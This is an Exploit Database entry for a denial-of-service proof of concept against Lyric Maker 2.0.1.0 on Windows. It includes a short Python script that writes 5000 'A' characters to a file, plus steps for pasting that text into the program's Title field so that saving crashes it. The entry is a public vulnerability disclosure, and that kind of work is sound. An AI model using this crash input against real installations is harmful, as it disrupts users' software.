



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Lyric Maker 2.0.1.0 - Denial of Service (PoC)

EDB-ID:

46817

CVE:

N/A

EDB Verified: ✘

Author:

[ALEJANDRA SÁNCHEZ](#)

Type:

[DOS](#)

Exploit:   / 

Platform:

[WINDOWS](#)

Date:

2019-05-09

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# -*- coding: utf-8 -*-
# Exploit Title: Lyric Maker 2.0.1.0 - Denial of Service (PoC)
# Date: 08/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.jetaudio.com/
# Software Link http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-
d890330ec672/jetAudio/JAD8107_BASIC.exe
# Version: 2.0.1.0
# Tested on: Windows 10
```

```
# Proof of Concept:
# 1.- Run the python script "LyricMaker.py", it will create a new file
"LyricMaker.txt"
# 2.- Copy the text from the generated LyricMaker.txt file to clipboard
# 3.- Open JetLyric.exe or Lyric Maker
# 4.- Paste clipboard in in the field "Title"
# 5.- Go to file -> Save Lyric...
# 6.- Save the file with any name, e.g 'sample.jlr'
# 7.- Crashed
```

```
buffer = "\x41" * 5000
f = open ("LyricMaker.txt", "w")
f.write(buffer)
f.close()
```

Tags: [Denial of Service \(DoS\)](#),
[Buffer Overflow](#)

Advisory/Source: [Link](#)

[Databases](#) ▾[Links](#) ▾[Sites](#) ▾[Solutions](#) ▾

EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.